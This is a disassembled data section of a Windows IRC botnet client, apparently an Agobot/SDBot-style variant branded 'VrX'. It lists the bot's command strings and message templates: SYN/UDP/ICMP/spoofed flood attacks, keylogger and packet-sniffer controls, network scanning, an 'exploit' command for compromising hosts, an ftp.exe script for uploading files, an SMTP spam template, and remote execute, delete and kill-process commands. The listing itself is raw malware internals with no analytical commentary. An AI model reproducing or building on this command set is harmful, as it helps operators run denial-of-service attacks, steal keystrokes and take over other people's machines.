		align 10h
unk_42AAA0	db    3			; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AAD4	db    3			; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 4
unk_42AB08	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_407320o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AB38	db  2Dh	; -		; DATA XREF: sub_401ACD+584Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5835o
aSS_1		db '-s:%s',0            ; DATA XREF: sub_401ACD+581Eo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+57FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+57D7o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+57C6o
		align 4
unk_42ABA8	db  2Dh	; -		; DATA XREF: sub_401ACD+576Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+574Ao
		align 10h
unk_42ABD0	db    3			; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+56B5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC44	db  2Dh	; -		; DATA XREF: sub_401ACD+564Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AC8C	db  2Dh	; -		; DATA XREF: sub_401ACD+5599o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42ACC0	db  2Dh	; -		; DATA XREF: sub_401ACD+5565o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACF4	db  2Dh	; -		; DATA XREF: sub_401ACD+5541o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AD2C	db  2Dh	; -		; DATA XREF: sub_401ACD+549Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
		align 10h
unk_42AD80	db  2Dh	; -		; DATA XREF: sub_401ACD+546Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADB8	db  2Dh	; -		; DATA XREF: sub_401ACD+53FEo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42AE00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406E1Do
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AE38	db  2Dh	; -		; DATA XREF: sub_401ACD+5346o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AE70	db  2Dh	; -		; DATA XREF: sub_401ACD+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+52BCo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4	db  2Dh	; -		; DATA XREF: sub_401ACD+521Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+520Ao
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+51F3o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+517Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+516Co
unk_42AEFC	db  2Dh	; -		; DATA XREF: sub_401ACD+511Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+50A9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+4FBEo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+4FA7o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+4F90o
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401ACD+4F48o
aP:					; DATA XREF: sub_401ACD+4F31o
					; ___:00438AF0o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+4F1Ao
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+4F03o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+4EECo
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4ED5o
aU:					; DATA XREF: sub_401ACD+4EBEo
					; ___:00438B00o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4EA7o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4E90o
		align 4
aAd		db 'ad',0               ; DATA XREF: sub_401ACD+4E79o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4E62o
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4E4Bo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4E34o
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4E0Eo
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4DF7o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4DE0o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4DC9o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4DB2o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4D9Bo
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4D84o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4D6Do
		align 10h
aNazel3		db 'NAZEL3',0           ; DATA XREF: sub_401ACD+4D3Fo
					; sub_401ACD+4D56o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4D28o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4D11o
		align 4
dword_42B05C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4D04o
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B098	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4C95o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4C12o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4BFBo
					; sub_401ACD+51DBo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4BE4o
		align 10h
unk_42B0E0	db  2Dh	; -		; DATA XREF: sub_401ACD+4BD7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4B00o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4AE9o
					; sub_413694:loc_4137C0o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4AD2o
					; sub_413694:loc_4137A4o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4ABBo
					; sub_413694+F1o
		align 10h
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4A8Do
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4A64o
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4A4Do
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4A36o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4A1Fo
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4A08o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+49F1o
		align 4
aE:					; DATA XREF: sub_401ACD+49DAo
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+49C3o
aHadeth3	db 'HADETH3',0          ; DATA XREF: sub_401ACD+4995o
					; sub_401ACD+49ACo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+497Eo
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4967o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4950o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4939o
					; sub_401ACD+6B0Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4922o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+490Bo
aT3		db 't3',0               ; DATA XREF: sub_401ACD+48F4o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+48DDo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+48C6o
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+48AFo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+4898o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+4881o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+486Ao
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+4853o
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+483Co
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+4825o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+480Eo
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+47F7o
		align 4
aM:					; DATA XREF: sub_401ACD+47E0o
					; ___:004387C8o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+47B2o
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+479Bo
		align 4
aA:					; DATA XREF: sub_401ACD+4784o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+476Do
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+473Fo
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4728o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4711o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+46FAo
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+46E3o
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+46BAo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+46A3o
unk_42B254	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406163o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B270	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406159o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+465Bo
					; sub_409909+5F0o
		align 4
unk_42B29C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40611Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2BC	db  2Dh	; -		; DATA XREF: sub_401ACD+4646o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406091o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B2FC	db  2Dh	; -		; DATA XREF: sub_401ACD+45BAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+4567o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+4527o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+450Fo
		align 4
unk_42B33C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405FB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B35C	db  2Dh	; -		; DATA XREF: sub_401ACD+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401ACD+44ABo
		align 4
unk_42B388	db  2Dh	; -		; DATA XREF: sub_401ACD+4478o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4454o
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+4426o
					; sub_401ACD+443Do ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+440Fo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401ACD+43F8o
		align 10h
dword_42B3E0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_	db '- No thread found.',0
		align 10h
dword_42B400	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43E1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B438	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43B3o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B46C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4366o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B498	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4356o
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4325o
		align 10h
unk_42B4C0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DE5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+430Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528	db  2Dh	; -		; DATA XREF: sub_401ACD+42E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564	db  2Dh	; -		; DATA XREF: sub_401ACD+4271o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 10h
unk_42B590	db  2Dh	; -		; DATA XREF: sub_401ACD+420Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+41BEo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B620	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4190o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B65C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4121o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B68C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40BAo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+409Ao
					; sub_401ACD+41EAo ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+4085o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+406Eo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4057o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+4040o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4029o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+4012o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FFBo
aV:					; DATA XREF: sub_401ACD+3FE4o
					; ___:004387BCo ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FCDo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FB6o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F9Fo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F88o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F5Ao
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F43o
					; sub_401ACD+453Fo
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F2Co
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F15o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EFEo
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE7o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ED0o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA2o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E74o
					; ___:00438AECo
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E5Do
					; sub_401ACD+583Ao ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E46o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E2Fo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E18o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E01o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DEAo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DD3o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DA5o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D77o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D60o
		align 4
aJ:					; DATA XREF: sub_401ACD+3D32o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D04o
					; ___:004387C4o ...
		unicode	0, <n>,0
unk_42B784	db  2Dh	; -		; DATA XREF: sub_401ACD+3CCFo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C3Do
		align 10h
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3BE2o
		align 10h
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AB7o
					; sub_401ACD+3AF2o
		dd 0
dword_42B7FC	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3A7Co
		dd 1
dword_42B814	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A41o
					; sub_401ACD+3B62o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+39ECo
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3951o
					; sub_401ACD+3991o ...
		align 10h
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+38F7o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+3802o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+37BDo
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+36B5o
					; sub_401ACD+3CEDo
		align 4
dword_42B85C	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+369Ao
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884	dd 636364h		; DATA XREF: sub_401ACD+361Do
dword_42B888	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B894	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+34ABo
					; sub_401ACD+3712o ...
dword_42B89C	dd 69257325h, 0		; DATA XREF: sub_401ACD+3490o
					; sub_40AAAC+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+344Fo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3434o
					; sub_401ACD+3520o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+340Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+33F2o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+33D0o
					; sub_401ACD+3D49o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+33B5o
					; sub_401ACD+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+3393o
					; sub_401ACD+3D1Bo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+3378o
		align 10h
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3329o
					; sub_401ACD+47C9o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+330Eo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+32BFo
		align 4
dword_42B90C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32A4o
dword_42B920	dd 7463h		; DATA XREF: sub_401ACD+3255o
dword_42B924	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
					; sub_401ACD+385Co ...
dword_42B934	dd 5Fh			; DATA XREF: sub_401ACD+320Bo
					; sub_401ACD+3275o ...
dword_42B938	dd 6D70h		; DATA XREF: sub_401ACD+31EBo
					; sub_401ACD+4756o
unk_42B93C	db  2Dh	; -		; DATA XREF: sub_401ACD+31BBo
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+3164o
		align 10h
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3143o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+312Co
		align 10h
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3115o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+30FEo
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+30E7o
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+30DAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B9E4	db  2Dh	; -		; DATA XREF: sub_401ACD+3068o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FC5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+2FA7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2F83o
		align 4
unk_42BA88	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4049F7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_4049D9o
					; sub_401ACD+3F71o
unk_42BAC4	db    3			; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 10h
unk_42BAF0	db    3			; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 4
dword_42BB1C	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C	db    3			; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB7C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E08o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BBB8	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2D8Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2D88o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2D81o
		align 4
